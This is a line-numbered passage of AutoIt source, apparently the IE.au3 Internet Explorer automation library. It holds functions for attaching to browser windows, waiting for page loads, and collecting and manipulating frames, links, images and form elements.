  697.                             If StringInStr($owindow.document.title & " - " & $stmp, $sstring) Then $bfound = True
  698.                         Else
  699.                             If StringInStr($owindow.document.title & " - Microsoft Internet Explorer", $sstring) Then $bfound = True
  700.                             If StringInStr($owindow.document.title & " - Windows Internet Explorer", $sstring) Then $bfound = True
  701.                         EndIf
  702.                         If $bfound Then
  703.                             If $iinstance = $itmp Then
  704.                                 Return SetError($_iestatus_success, 0, $owindow)
  705.                             Else
  706.                                 $itmp += 1
  707.                             EndIf
  708.                         EndIf
  709.                     Case "url"
  710.                         If StringInStr($owindow.locationurl, $sstring) > 0 Then
  711.                             If $iinstance = $itmp Then
  712.                                 Return SetError($_iestatus_success, 0, $owindow)
  713.                             Else
  714.                                 $itmp += 1
  715.                             EndIf
  716.                         EndIf
  717.                     Case "text"
  718.                         If StringInStr($owindow.document.body.innertext, $sstring) > 0 Then
  719.                             If $iinstance = $itmp Then
  720.                                 Return SetError($_iestatus_success, 0, $owindow)
  721.                             Else
  722.                                 $itmp += 1
  723.                             EndIf
  724.                         EndIf
  725.                     Case "html"
  726.                         If StringInStr($owindow.document.body.innerhtml, $sstring) > 0 Then
  727.                             If $iinstance = $itmp Then
  728.                                 Return SetError($_iestatus_success, 0, $owindow)
  729.                             Else
  730.                                 $itmp += 1
  731.                             EndIf
  732.                         EndIf
  733.                     Case "hwnd"
  734.                         If $iinstance > 1 Then
  735.                             $iinstance = 1
  736.                             __ieconsolewriteerror("Warning", "_IEAttach", "$_IESTATUS_GeneralError", "$iInstance > 1 invalid with HWnd.  Setting to 1.")
  737.                         EndIf
  738.                         If _iepropertyget($owindow, "hwnd") = $sstring Then
  739.                             Return SetError($_iestatus_success, 0, $owindow)
  740.                         EndIf
  741.                     Case Else
  742.                         __ieconsolewriteerror("Error", "_IEAttach", "$_IESTATUS_InvalidValue", "Invalid Mode Specified")
  743.                         Return SetError($_iestatus_invalidvalue, 2, 0)
  744.                 EndSwitch
  745.             EndIf
  746.         Next
  747.         __ieconsolewriteerror("Warning", "_IEAttach", "$_IESTATUS_NoMatch")
  748.         Return SetError($_iestatus_nomatch, 1, 0)
  749.     EndFunc
  750.  
  751.     Func _ieloadwait(ByRef $oobject, $idelay = 0, $itimeout = -1)
  752.         If NOT IsObj($oobject) Then
  753.             __ieconsolewriteerror("Error", "_IELoadWait", "$_IESTATUS_InvalidDataType")
  754.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  755.         EndIf
  756.         If NOT __ieisobjtype($oobject, "browserdom") Then
  757.             __ieconsolewriteerror("Error", "_IELoadWait", "$_IESTATUS_InvalidObjectType", ObjName($oobject))
  758.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  759.         EndIf
  760.         Local $otemp, $babort = False, $ierrorstatuscode = $_iestatus_success
  761.         Local $bstatus = __ieinternalerrorhandlerregister()
  762.         If NOT $bstatus Then __ieconsolewriteerror("Warning", "_IELoadWait", "Cannot register internal error handler, cannot trap COM errors", "Use _IEErrorHandlerRegister() to register a user error handler")
  763.         Local $inotifystatus = _ieerrornotify()
  764.         _ieerrornotify(False)
  765.         Sleep($idelay)
  766.         Local $ierror
  767.         Local $hieloadwaittimer = TimerInit()
  768.         If $itimeout = -1 Then $itimeout = $__g_iieloadwaittimeout
  769.         Select
  770.             Case __ieisobjtype($oobject, "browser", False)
  771.                 While NOT (String($oobject.readystate) = "complete" OR $oobject.readystate = 4 OR $babort)
  772.                     If @error Then
  773.                         $ierror = @error
  774.                         If __iecomerrorunrecoverable($ierror) Then
  775.                             $ierrorstatuscode = __iecomerrorunrecoverable($ierror)
  776.                             $babort = True
  777.                         EndIf
  778.                     ElseIf (TimerDiff($hieloadwaittimer) > $itimeout) Then
  779.                         $ierrorstatuscode = $_iestatus_loadwaittimeout
  780.                         $babort = True
  781.                     EndIf
  782.                     Sleep(100)
  783.                 WEnd
  784.                 While NOT (String($oobject.document.readystate) = "complete" OR $oobject.document.readystate = 4 OR $babort)
  785.                     If @error Then
  786.                         $ierror = @error
  787.                         If __iecomerrorunrecoverable($ierror) Then
  788.                             $ierrorstatuscode = __iecomerrorunrecoverable($ierror)
  789.                             $babort = True
  790.                         EndIf
  791.                     ElseIf (TimerDiff($hieloadwaittimer) > $itimeout) Then
  792.                         $ierrorstatuscode = $_iestatus_loadwaittimeout
  793.                         $babort = True
  794.                     EndIf
  795.                     Sleep(100)
  796.                 WEnd
  797.             Case __ieisobjtype($oobject, "window", False)
  798.                 While NOT (String($oobject.document.readystate) = "complete" OR $oobject.document.readystate = 4 OR $babort)
  799.                     If @error Then
  800.                         $ierror = @error
  801.                         If __iecomerrorunrecoverable($ierror) Then
  802.                             $ierrorstatuscode = __iecomerrorunrecoverable($ierror)
  803.                             $babort = True
  804.                         EndIf
  805.                     ElseIf (TimerDiff($hieloadwaittimer) > $itimeout) Then
  806.                         $ierrorstatuscode = $_iestatus_loadwaittimeout
  807.                         $babort = True
  808.                     EndIf
  809.                     Sleep(100)
  810.                 WEnd
  811.                 While NOT (String($oobject.top.document.readystate) = "complete" OR $oobject.top.document.readystate = 4 OR $babort)
  812.                     If @error Then
  813.                         $ierror = @error
  814.                         If __iecomerrorunrecoverable($ierror) Then
  815.                             $ierrorstatuscode = __iecomerrorunrecoverable($ierror)
  816.                             $babort = True
  817.                         EndIf
  818.                     ElseIf (TimerDiff($hieloadwaittimer) > $itimeout) Then
  819.                         $ierrorstatuscode = $_iestatus_loadwaittimeout
  820.                         $babort = True
  821.                     EndIf
  822.                     Sleep(100)
  823.                 WEnd
  824.             Case __ieisobjtype($oobject, "document", False)
  825.                 $otemp = $oobject.parentwindow
  826.                 While NOT (String($otemp.document.readystate) = "complete" OR $otemp.document.readystate = 4 OR $babort)
  827.                     If @error Then
  828.                         $ierror = @error
  829.                         If __iecomerrorunrecoverable($ierror) Then
  830.                             $ierrorstatuscode = __iecomerrorunrecoverable($ierror)
  831.                             $babort = True
  832.                         EndIf
  833.                     ElseIf (TimerDiff($hieloadwaittimer) > $itimeout) Then
  834.                         $ierrorstatuscode = $_iestatus_loadwaittimeout
  835.                         $babort = True
  836.                     EndIf
  837.                     Sleep(100)
  838.                 WEnd
  839.                 While NOT (String($otemp.top.document.readystate) = "complete" OR $otemp.top.document.readystate = 4 OR $babort)
  840.                     If @error Then
  841.                         $ierror = @error
  842.                         If __iecomerrorunrecoverable($ierror) Then
  843.                             $ierrorstatuscode = __iecomerrorunrecoverable($ierror)
  844.                             $babort = True
  845.                         EndIf
  846.                     ElseIf (TimerDiff($hieloadwaittimer) > $itimeout) Then
  847.                         $ierrorstatuscode = $_iestatus_loadwaittimeout
  848.                         $babort = True
  849.                     EndIf
  850.                     Sleep(100)
  851.                 WEnd
  852.             Case Else
  853.                 $otemp = $oobject.document.parentwindow
  854.                 While NOT (String($otemp.document.readystate) = "complete" OR $otemp.document.readystate = 4 OR $babort)
  855.                     If @error Then
  856.                         $ierror = @error
  857.                         If __iecomerrorunrecoverable($ierror) Then
  858.                             $ierrorstatuscode = __iecomerrorunrecoverable($ierror)
  859.                             $babort = True
  860.                         EndIf
  861.                     ElseIf (TimerDiff($hieloadwaittimer) > $itimeout) Then
  862.                         $ierrorstatuscode = $_iestatus_loadwaittimeout
  863.                         $babort = True
  864.                     EndIf
  865.                     Sleep(100)
  866.                 WEnd
  867.                 While NOT (String($otemp.top.document.readystate) = "complete" OR $oobject.top.document.readystate = 4 OR $babort)
  868.                     If @error Then
  869.                         $ierror = @error
  870.                         If __iecomerrorunrecoverable($ierror) Then
  871.                             $ierrorstatuscode = __iecomerrorunrecoverable($ierror)
  872.                             $babort = True
  873.                         EndIf
  874.                     ElseIf (TimerDiff($hieloadwaittimer) > $itimeout) Then
  875.                         $ierrorstatuscode = $_iestatus_loadwaittimeout
  876.                         $babort = True
  877.                     EndIf
  878.                     Sleep(100)
  879.                 WEnd
  880.         EndSelect
  881.         _ieerrornotify($inotifystatus)
  882.         __ieinternalerrorhandlerderegister()
  883.         Switch $ierrorstatuscode
  884.             Case $_iestatus_success
  885.                 Return SetError($_iestatus_success, 0, 1)
  886.             Case $_iestatus_loadwaittimeout
  887.                 __ieconsolewriteerror("Warning", "_IELoadWait", "$_IESTATUS_LoadWaitTimeout")
  888.                 Return SetError($_iestatus_loadwaittimeout, 3, 0)
  889.             Case $_iestatus_accessisdenied
  890.                 __ieconsolewriteerror("Warning", "_IELoadWait", "$_IESTATUS_AccessIsDenied", "Cannot verify readyState.  Likely casue: cross-domain scripting security restriction. (" & $ierror & ")")
  891.                 Return SetError($_iestatus_accessisdenied, 0, 0)
  892.             Case $_iestatus_clientdisconnected
  893.                 __ieconsolewriteerror("Error", "_IELoadWait", "$_IESTATUS_ClientDisconnected", $ierror & ", Browser has been deleted prior to operation.")
  894.                 Return SetError($_iestatus_clientdisconnected, 0, 0)
  895.             Case Else
  896.                 __ieconsolewriteerror("Error", "_IELoadWait", "$_IESTATUS_GeneralError", "Invalid Error Status - Notify IE.au3 developer")
  897.                 Return SetError($_iestatus_generalerror, 0, 0)
  898.         EndSwitch
  899.     EndFunc
  900.  
  901.     Func _ieloadwaittimeout($itimeout = -1)
  902.         If $itimeout = -1 Then
  903.             Return SetError($_iestatus_success, 0, $__g_iieloadwaittimeout)
  904.         Else
  905.             $__g_iieloadwaittimeout = $itimeout
  906.             Return SetError($_iestatus_success, 0, 1)
  907.         EndIf
  908.     EndFunc
  909.  
  910. #EndRegion Core functions
  911. #Region Frame Functions
  912.  
  913.     Func _ieisframeset(ByRef $oobject)
  914.         If NOT IsObj($oobject) Then
  915.             __ieconsolewriteerror("Error", "_IEIsFrameSet", "$_IESTATUS_InvalidDataType")
  916.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  917.         EndIf
  918.         If String($oobject.document.body.tagname) = "frameset" Then
  919.             Return SetError($_iestatus_success, 0, 1)
  920.         Else
  921.             If @error Then
  922.                 __ieconsolewriteerror("Error", "_IEIsFrameSet", "$_IESTATUS_COMError", @error)
  923.                 Return SetError($_iestatus_comerror, @error, 0)
  924.             EndIf
  925.             Return SetError($_iestatus_success, 0, 0)
  926.         EndIf
  927.     EndFunc
  928.  
  929.     Func _ieframegetcollection(ByRef $oobject, $iindex = -1)
  930.         If NOT IsObj($oobject) Then
  931.             __ieconsolewriteerror("Error", "_IEFrameGetCollection", "$_IESTATUS_InvalidDataType")
  932.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  933.         EndIf
  934.         $iindex = Number($iindex)
  935.         Select
  936.             Case $iindex = -1
  937.                 Return SetError($_iestatus_success, $oobject.document.parentwindow.frames.length, $oobject.document.parentwindow.frames)
  938.             Case $iindex > -1 AND $iindex < $oobject.document.parentwindow.frames.length
  939.                 Return SetError($_iestatus_success, $oobject.document.parentwindow.frames.length, $oobject.document.parentwindow.frames.item($iindex))
  940.             Case $iindex < -1
  941.                 __ieconsolewriteerror("Error", "_IEFrameGetCollection", "$_IESTATUS_InvalidValue", "$iIndex < -1")
  942.                 Return SetError($_iestatus_invalidvalue, 2, 0)
  943.             Case Else
  944.                 __ieconsolewriteerror("Warning", "_IEFrameGetCollection", "$_IESTATUS_NoMatch")
  945.                 Return SetError($_iestatus_nomatch, 2, 0)
  946.         EndSelect
  947.     EndFunc
  948.  
  949.     Func _ieframegetobjbyname(ByRef $oobject, $sname)
  950.         If NOT IsObj($oobject) Then
  951.             __ieconsolewriteerror("Error", "_IEFrameGetObjByName", "$_IESTATUS_InvalidDataType")
  952.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  953.         EndIf
  954.         Local $otemp, $oframes
  955.         If NOT __ieisobjtype($oobject, "browserdom") Then
  956.             __ieconsolewriteerror("Error", "_IEFrameGetObjByName", "$_IESTATUS_InvalidObjectType")
  957.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  958.         EndIf
  959.         If __ieisobjtype($oobject, "document") Then
  960.             $otemp = $oobject.parentwindow
  961.         Else
  962.             $otemp = $oobject.document.parentwindow
  963.         EndIf
  964.         If _ieisframeset($otemp) Then
  965.             $oframes = _ietagnamegetcollection($otemp, "frame")
  966.         Else
  967.             $oframes = _ietagnamegetcollection($otemp, "iframe")
  968.         EndIf
  969.         If $oframes.length Then
  970.             For $oframe In $oframes
  971.                 If String($oframe.name) = $sname Then Return SetError($_iestatus_success, 0, $otemp.frames($sname))
  972.             Next
  973.             __ieconsolewriteerror("Warning", "_IEFrameGetObjByName", "$_IESTATUS_NoMatch", "No frames matching name")
  974.             Return SetError($_iestatus_nomatch, 2, 0)
  975.         Else
  976.             __ieconsolewriteerror("Warning", "_IEFrameGetObjByName", "$_IESTATUS_NoMatch", "No Frames found")
  977.             Return SetError($_iestatus_nomatch, 2, 0)
  978.         EndIf
  979.     EndFunc
  980.  
  981. #EndRegion Frame Functions
  982. #Region Link functions
  983.  
  984.     Func _ielinkclickbytext(ByRef $oobject, $slinktext, $iindex = 0, $iwait = 1)
  985.         If NOT IsObj($oobject) Then
  986.             __ieconsolewriteerror("Error", "_IELinkClickByText", "$_IESTATUS_InvalidDataType")
  987.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  988.         EndIf
  989.         Local $ifound = 0, $smodelinktext, $olinks = $oobject.document.links
  990.         $iindex = Number($iindex)
  991.         For $olink In $olinks
  992.             $smodelinktext = String($olink.outertext)
  993.             If $smodelinktext = $slinktext Then
  994.                 If ($ifound = $iindex) Then
  995.                     $olink.click()
  996.                     If @error Then
  997.                         __ieconsolewriteerror("Error", "_IELinkClickByText", "$_IESTATUS_COMError", @error)
  998.                         Return SetError($_iestatus_comerror, @error, 0)
  999.                     EndIf
  1000.                     If $iwait Then
  1001.                         _ieloadwait($oobject)
  1002.                         Return SetError(@error, 0, -1)
  1003.                     EndIf
  1004.                     Return SetError($_iestatus_success, 0, -1)
  1005.                 EndIf
  1006.                 $ifound = $ifound + 1
  1007.             EndIf
  1008.         Next
  1009.         __ieconsolewriteerror("Warning", "_IELinkClickByText", "$_IESTATUS_NoMatch")
  1010.         Return SetError($_iestatus_nomatch, 0, 0)
  1011.     EndFunc
  1012.  
  1013.     Func _ielinkclickbyindex(ByRef $oobject, $iindex, $iwait = 1)
  1014.         If NOT IsObj($oobject) Then
  1015.             __ieconsolewriteerror("Error", "_IELinkClickByIndex", "$_IESTATUS_InvalidDataType")
  1016.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1017.         EndIf
  1018.         Local $olinks = $oobject.document.links, $olink
  1019.         $iindex = Number($iindex)
  1020.         If ($iindex >= 0) AND ($iindex <= $olinks.length - 1) Then
  1021.             $olink = $olinks($iindex)
  1022.             $olink.click()
  1023.             If @error Then
  1024.                 __ieconsolewriteerror("Error", "_IELinkClickByIndex", "$_IESTATUS_COMError", @error)
  1025.                 Return SetError($_iestatus_comerror, @error, 0)
  1026.             EndIf
  1027.             If $iwait Then
  1028.                 _ieloadwait($oobject)
  1029.                 Return SetError(@error, 0, -1)
  1030.             EndIf
  1031.             Return SetError($_iestatus_success, 0, -1)
  1032.         Else
  1033.             __ieconsolewriteerror("Warning", "_IELinkClickByIndex", "$_IESTATUS_NoMatch")
  1034.             Return SetError($_iestatus_nomatch, 2, 0)
  1035.         EndIf
  1036.     EndFunc
  1037.  
  1038.     Func _ielinkgetcollection(ByRef $oobject, $iindex = -1)
  1039.         If NOT IsObj($oobject) Then
  1040.             __ieconsolewriteerror("Error", "_IELinkGetCollection", "$_IESTATUS_InvalidDataType")
  1041.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1042.         EndIf
  1043.         $iindex = Number($iindex)
  1044.         Select
  1045.             Case $iindex = -1
  1046.                 Return SetError($_iestatus_success, $oobject.document.links.length, $oobject.document.links)
  1047.             Case $iindex > -1 AND $iindex < $oobject.document.links.length
  1048.                 Return SetError($_iestatus_success, $oobject.document.links.length, $oobject.document.links.item($iindex))
  1049.             Case $iindex < -1
  1050.                 __ieconsolewriteerror("Error", "_IELinkGetCollection", "$_IESTATUS_InvalidValue")
  1051.                 Return SetError($_iestatus_invalidvalue, 2, 0)
  1052.             Case Else
  1053.                 __ieconsolewriteerror("Warning", "_IELinkGetCollection", "$_IESTATUS_NoMatch")
  1054.                 Return SetError($_iestatus_nomatch, 2, 0)
  1055.         EndSelect
  1056.     EndFunc
  1057.  
  1058. #EndRegion Link functions
  1059. #Region Image functions
  1060.  
  1061.     Func _ieimgclick(ByRef $oobject, $slinktext, $smode = "src", $iindex = 0, $iwait = 1)
  1062.         If NOT IsObj($oobject) Then
  1063.             __ieconsolewriteerror("Error", "_IEImgClick", "$_IESTATUS_InvalidDataType")
  1064.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1065.         EndIf
  1066.         Local $smodelinktext, $ifound = 0, $oimgs = $oobject.document.images
  1067.         $smode = StringLower($smode)
  1068.         $iindex = Number($iindex)
  1069.         For $oimg In $oimgs
  1070.             Select
  1071.                 Case $smode = "alt"
  1072.                     $smodelinktext = $oimg.alt
  1073.                 Case $smode = "name"
  1074.                     $smodelinktext = $oimg.name
  1075.                     If NOT IsString($smodelinktext) Then $smodelinktext = $oimg.id
  1076.                 Case $smode = "id"
  1077.                     $smodelinktext = $oimg.id
  1078.                 Case $smode = "src"
  1079.                     $smodelinktext = $oimg.src
  1080.                 Case Else
  1081.                     __ieconsolewriteerror("Error", "_IEImgClick", "$_IESTATUS_InvalidValue", "Invalid mode: " & $smode)
  1082.                     Return SetError($_iestatus_invalidvalue, 3, 0)
  1083.             EndSelect
  1084.             If StringInStr($smodelinktext, $slinktext) Then
  1085.                 If ($ifound = $iindex) Then
  1086.                     $oimg.click()
  1087.                     If @error Then
  1088.                         __ieconsolewriteerror("Error", "_IEImgClick", "$_IESTATUS_COMError", @error)
  1089.                         Return SetError($_iestatus_comerror, @error, 0)
  1090.                     EndIf
  1091.                     If $iwait Then
  1092.                         _ieloadwait($oobject)
  1093.                         Return SetError(@error, 0, -1)
  1094.                     EndIf
  1095.                     Return SetError($_iestatus_success, 0, -1)
  1096.                 EndIf
  1097.                 $ifound = $ifound + 1
  1098.             EndIf
  1099.         Next
  1100.         __ieconsolewriteerror("Warning", "_IEImgClick", "$_IESTATUS_NoMatch")
  1101.         Return SetError($_iestatus_nomatch, 0, 0)
  1102.     EndFunc
  1103.  
  1104.     Func _ieimggetcollection(ByRef $oobject, $iindex = -1)
  1105.         If NOT IsObj($oobject) Then
  1106.             __ieconsolewriteerror("Error", "_IEImgGetCollection", "$_IESTATUS_InvalidDataType")
  1107.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1108.         EndIf
  1109.         Local $otemp = _iedocgetobj($oobject)
  1110.         $iindex = Number($iindex)
  1111.         Select
  1112.             Case $iindex = -1
  1113.                 Return SetError($_iestatus_success, $otemp.images.length, $otemp.images)
  1114.             Case $iindex > -1 AND $iindex < $otemp.images.length
  1115.                 Return SetError($_iestatus_success, $otemp.images.length, $otemp.images.item($iindex))
  1116.             Case $iindex < -1
  1117.                 __ieconsolewriteerror("Error", "_IEImgGetCollection", "$_IESTATUS_InvalidValue", "$iIndex < -1")
  1118.                 Return SetError($_iestatus_invalidvalue, 2, 0)
  1119.             Case Else
  1120.                 __ieconsolewriteerror("Warning", "_IEImgGetCollection", "$_IESTATUS_NoMatch")
  1121.                 Return SetError($_iestatus_nomatch, 1, 0)
  1122.         EndSelect
  1123.     EndFunc
  1124.  
  1125. #EndRegion Image functions
  1126. #Region Form functions
  1127.  
  1128.     Func _ieformgetcollection(ByRef $oobject, $iindex = -1)
  1129.         If NOT IsObj($oobject) Then
  1130.             __ieconsolewriteerror("Error", "_IEFormGetCollection", "$_IESTATUS_InvalidDataType")
  1131.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1132.         EndIf
  1133.         Local $otemp = _iedocgetobj($oobject)
  1134.         $iindex = Number($iindex)
  1135.         Select
  1136.             Case $iindex = -1
  1137.                 Return SetError($_iestatus_success, $otemp.forms.length, $otemp.forms)
  1138.             Case $iindex > -1 AND $iindex < $otemp.forms.length
  1139.                 Return SetError($_iestatus_success, $otemp.forms.length, $otemp.forms.item($iindex))
  1140.             Case $iindex < -1
  1141.                 __ieconsolewriteerror("Error", "_IEFormGetCollection", "$_IESTATUS_InvalidValue", "$iIndex < -1")
  1142.                 Return SetError($_iestatus_invalidvalue, 2, 0)
  1143.             Case Else
  1144.                 __ieconsolewriteerror("Warning", "_IEFormGetCollection", "$_IESTATUS_NoMatch")
  1145.                 Return SetError($_iestatus_nomatch, 1, 0)
  1146.         EndSelect
  1147.     EndFunc
  1148.  
  1149.     Func _ieformgetobjbyname(ByRef $oobject, $sname, $iindex = 0)
  1150.         If NOT IsObj($oobject) Then
  1151.             __ieconsolewriteerror("Error", "_IEFormGetObjByName", "$_IESTATUS_InvalidDataType")
  1152.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1153.         EndIf
  1154.         Local $ilength = 0
  1155.         Local $ocol = $oobject.document.forms.item($sname)
  1156.         If IsObj($ocol) Then
  1157.             If __ieisobjtype($ocol, "elementcollection") Then
  1158.                 $ilength = $ocol.length
  1159.             Else
  1160.                 $ilength = 1
  1161.             EndIf
  1162.         EndIf
  1163.         $iindex = Number($iindex)
  1164.         If $iindex = -1 Then
  1165.             Return SetError($_iestatus_success, $ilength, $oobject.document.forms.item($sname))
  1166.         Else
  1167.             If IsObj($oobject.document.forms.item($sname, $iindex)) Then
  1168.                 Return SetError($_iestatus_success, $ilength, $oobject.document.forms.item($sname, $iindex))
  1169.             Else
  1170.                 __ieconsolewriteerror("Warning", "_IEFormGetObjByName", "$_IESTATUS_NoMatch")
  1171.                 Return SetError($_iestatus_nomatch, 0, 0)
  1172.             EndIf
  1173.         EndIf
  1174.     EndFunc
  1175.  
  1176.     Func _ieformelementgetcollection(ByRef $oobject, $iindex = -1)
  1177.         If NOT IsObj($oobject) Then
  1178.             __ieconsolewriteerror("Error", "_IEFormElementGetCollection", "$_IESTATUS_InvalidDataType")
  1179.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1180.         EndIf
  1181.         If NOT __ieisobjtype($oobject, "form") Then
  1182.             __ieconsolewriteerror("Error", "_IEFormElementGetCollection", "$_IESTATUS_InvalidObjectType")
  1183.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1184.         EndIf
  1185.         $iindex = Number($iindex)
  1186.         Select
  1187.             Case $iindex = -1
  1188.                 Return SetError($_iestatus_success, $oobject.elements.length, $oobject.elements)
  1189.             Case $iindex > -1 AND $iindex < $oobject.elements.length
  1190.                 Return SetError($_iestatus_success, $oobject.elements.length, $oobject.elements.item($iindex))
  1191.             Case $iindex < -1
  1192.                 __ieconsolewriteerror("Error", "_IEFormElementGetCollection", "$_IESTATUS_InvalidValue", "$iIndex < -1")
  1193.                 Return SetError($_iestatus_invalidvalue, 2, 0)
  1194.             Case Else
  1195.                 Return SetError($_iestatus_nomatch, 1, 0)
  1196.         EndSelect
  1197.     EndFunc
  1198.  
  1199.     Func _ieformelementgetobjbyname(ByRef $oobject, $sname, $iindex = 0)
  1200.         If NOT IsObj($oobject) Then
  1201.             __ieconsolewriteerror("Error", "_IEFormElementGetObjByName", "$_IESTATUS_InvalidDataType")
  1202.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1203.         EndIf
  1204.         If NOT __ieisobjtype($oobject, "form") Then
  1205.             __ieconsolewriteerror("Error", "_IEFormElementGetObjByName", "$_IESTATUS_InvalidObjectType")
  1206.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1207.         EndIf
  1208.         Local $ilength = 0
  1209.         Local $ocol = $oobject.elements.item($sname)
  1210.         If IsObj($ocol) Then
  1211.             If __ieisobjtype($ocol, "elementcollection") Then
  1212.                 $ilength = $ocol.length
  1213.             Else
  1214.                 $ilength = 1
  1215.             EndIf
  1216.         EndIf
  1217.         $iindex = Number($iindex)
  1218.         If $iindex = -1 Then
  1219.             Return SetError($_iestatus_success, $ilength, $oobject.elements.item($sname))
  1220.         Else
  1221.             If IsObj($oobject.elements.item($sname, $iindex)) Then
  1222.                 Return SetError($_iestatus_success, $ilength, $oobject.elements.item($sname, $iindex))
  1223.             Else
  1224.                 __ieconsolewriteerror("Warning", "_IEFormElementGetObjByName", "$_IESTATUS_NoMatch")
  1225.                 Return SetError($_iestatus_nomatch, 0, 0)
  1226.             EndIf
  1227.         EndIf
  1228.     EndFunc
  1229.  
  1230.     Func _ieformelementgetvalue(ByRef $oobject)
  1231.         If NOT IsObj($oobject) Then
  1232.             __ieconsolewriteerror("Error", "_IEFormElementGetValue", "$_IESTATUS_InvalidDataType")
  1233.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1234.         EndIf
  1235.         If NOT __ieisobjtype($oobject, "forminputelement") Then
  1236.             __ieconsolewriteerror("Error", "_IEFormElementGetValue", "$_IESTATUS_InvalidObjectType")
  1237.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1238.         EndIf
  1239.         Local $sreturn = String($oobject.value)
  1240.         If @error Then
  1241.             __ieconsolewriteerror("Error", "_IEFormElementGetValue", "$_IESTATUS_COMError", @error)
  1242.             Return SetError($_iestatus_comerror, @error, 0)
  1243.         EndIf
  1244.         SetError($_iestatus_success)
  1245.         Return $sreturn
  1246.     EndFunc
  1247.  
  1248.     Func _ieformelementsetvalue(ByRef $oobject, $snewvalue, $ifireevent = 1)
  1249.         If NOT IsObj($oobject) Then
  1250.             __ieconsolewriteerror("Error", "_IEFormElementSetValue", "$_IESTATUS_InvalidDataType")
  1251.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1252.         EndIf
  1253.         If NOT __ieisobjtype($oobject, "forminputelement") Then
  1254.             __ieconsolewriteerror("Error", "_IEFormElementSetValue", "$_IESTATUS_InvalidObjectType")
  1255.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1256.         EndIf
  1257.         If String($oobject.type) = "file" Then
  1258.             __ieconsolewriteerror("Error", "_IEFormElementSetValue", "$_IESTATUS_InvalidObjectType", "Browser security prevents SetValue of TYPE=FILE")
  1259.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1260.         EndIf
  1261.         $oobject.value = $snewvalue
  1262.         If @error Then
  1263.             __ieconsolewriteerror("Error", "_IEFormElementSetValue", "$_IESTATUS_COMError", @error)
  1264.             Return SetError($_iestatus_comerror, @error, 0)
  1265.         EndIf
  1266.         If $ifireevent Then
  1267.             $oobject.fireevent("OnChange")
  1268.             $oobject.fireevent("OnClick")
  1269.         EndIf
  1270.         Return SetError($_iestatus_success, 0, 1)
  1271.     EndFunc
  1272.  
  1273.     Func _ieformelementoptionselect(ByRef $oobject, $sstring, $iselect = 1, $smode = "byValue", $ifireevent = 1)
  1274.         If NOT IsObj($oobject) Then
  1275.             __ieconsolewriteerror("Error", "_IEFormElementOptionSelect", "$_IESTATUS_InvalidDataType")
  1276.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  1277.         EndIf
  1278.         If NOT __ieisobjtype($oobject, "formselectelement") Then
  1279.             __ieconsolewriteerror("Error", "_IEFormElementOptionSelect", "$_IESTATUS_InvalidObjectType")
  1280.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  1281.         EndIf
  1282.         Local $oitem, $oitems = $oobject.options, $inumitems = $oobject.options.length, $bismultiple = $oobject.multiple
  1283.         Switch $smode
  1284.             Case "byValue"
  1285.                 For $oitem In $oitems
  1286.                     If $oitem.value = $sstring Then
  1287.                         Switch $iselect
  1288.                             Case -1
  1289.                                 Return SetError($_iestatus_success, 0, $oitem.selected)
  1290.                             Case 0
  1291.                                 If NOT $bismultiple Then
  1292.                                     __ieconsolewriteerror("Error", "_IEFormElementOptionSelect", "$_IESTATUS_InvalidValue", "$iSelect=0 only valid for type=select multiple")
  1293.                                     Return SetError($_iestatus_invalidvalue, 3)
  1294.                                 EndIf
  1295.                                 If $oitem.selected Then
  1296.                                     $oitem.selected = False
  1297.                                     If $ifireevent Then
  1298.                                         $oobject.fireevent("onChange")
  1299.                                         $oobject.fireevent("OnClick")
  1300.                                     EndIf
  1301.                                 EndIf
  1302.                                 Return SetError($_iestatus_success, 0, 1)
  1303.                             Case 1
  1304.                                 If NOT $oitem.selected Then
  1305.                                     $oitem.selected = True
  1306.                                     If $ifireevent Then
  1307.                                         $oobject.fireevent("onChange")
  1308.                                         $oobject.fireevent("OnClick")
  1309.                                     EndIf
  1310.                                 EndIf
  1311.                                 Return SetError($_iestatus_success, 0, 1)
  1312.                             Case Else
  1313.                                 __ieconsolewriteerror("Error", "_IEFormElementOptionSelect", "$_IESTATUS_InvalidValue", "Invalid $iSelect value")
  1314.                                 Return SetError($_iestatus_invalidvalue, 3, 0)
  1315.                         EndSwitch
  1316.                     EndIf
  1317.                 Next
  1318.                 __ieconsolewriteerror("Warning", "_IEFormElementOptionSelect", "$_IESTATUS_NoMatch", "Value not matched")
  1319.                 Return SetError($_iestatus_nomatch, 2, 0)
  1320.             Case "byText"
  1321.                 For $oitem In $oitems
  1322.                     If String($oitem.text) = $sstring Then
  1323.                         Switch $iselect
  1324.                             Case -1
  1325.                                 Return SetError($_iestatus_success, 0, $oitem.selected)
  1326.                             Case 0
  1327.                                 If NOT $bismultiple Then
  1328.                                     __ieconsolewriteerror("Error", "_IEFormElementOptionSelect", "$_IESTATUS_InvalidValue", "$iSelect=0 only valid for type=select multiple")
  1329.                                     Return SetError($_iestatus_invalidvalue, 3)
  1330.                                 EndIf
  1331.                                 If $oitem.selected Then
  1332.                                     $oitem.selected = False
  1333.                                     If $ifireevent Then
  1334.                                         $oobject.fireevent("onChange")
  1335.                                         $oobject.fireevent("OnClick")
  1336.                                     EndIf
  1337.                                 EndIf
  1338.                                 Return SetError($_iestatus_success, 0, 1)
  1339.                             Case 1
  1340.                                 If NOT $oitem.selected Then
  1341.                                     $oitem.selected = True
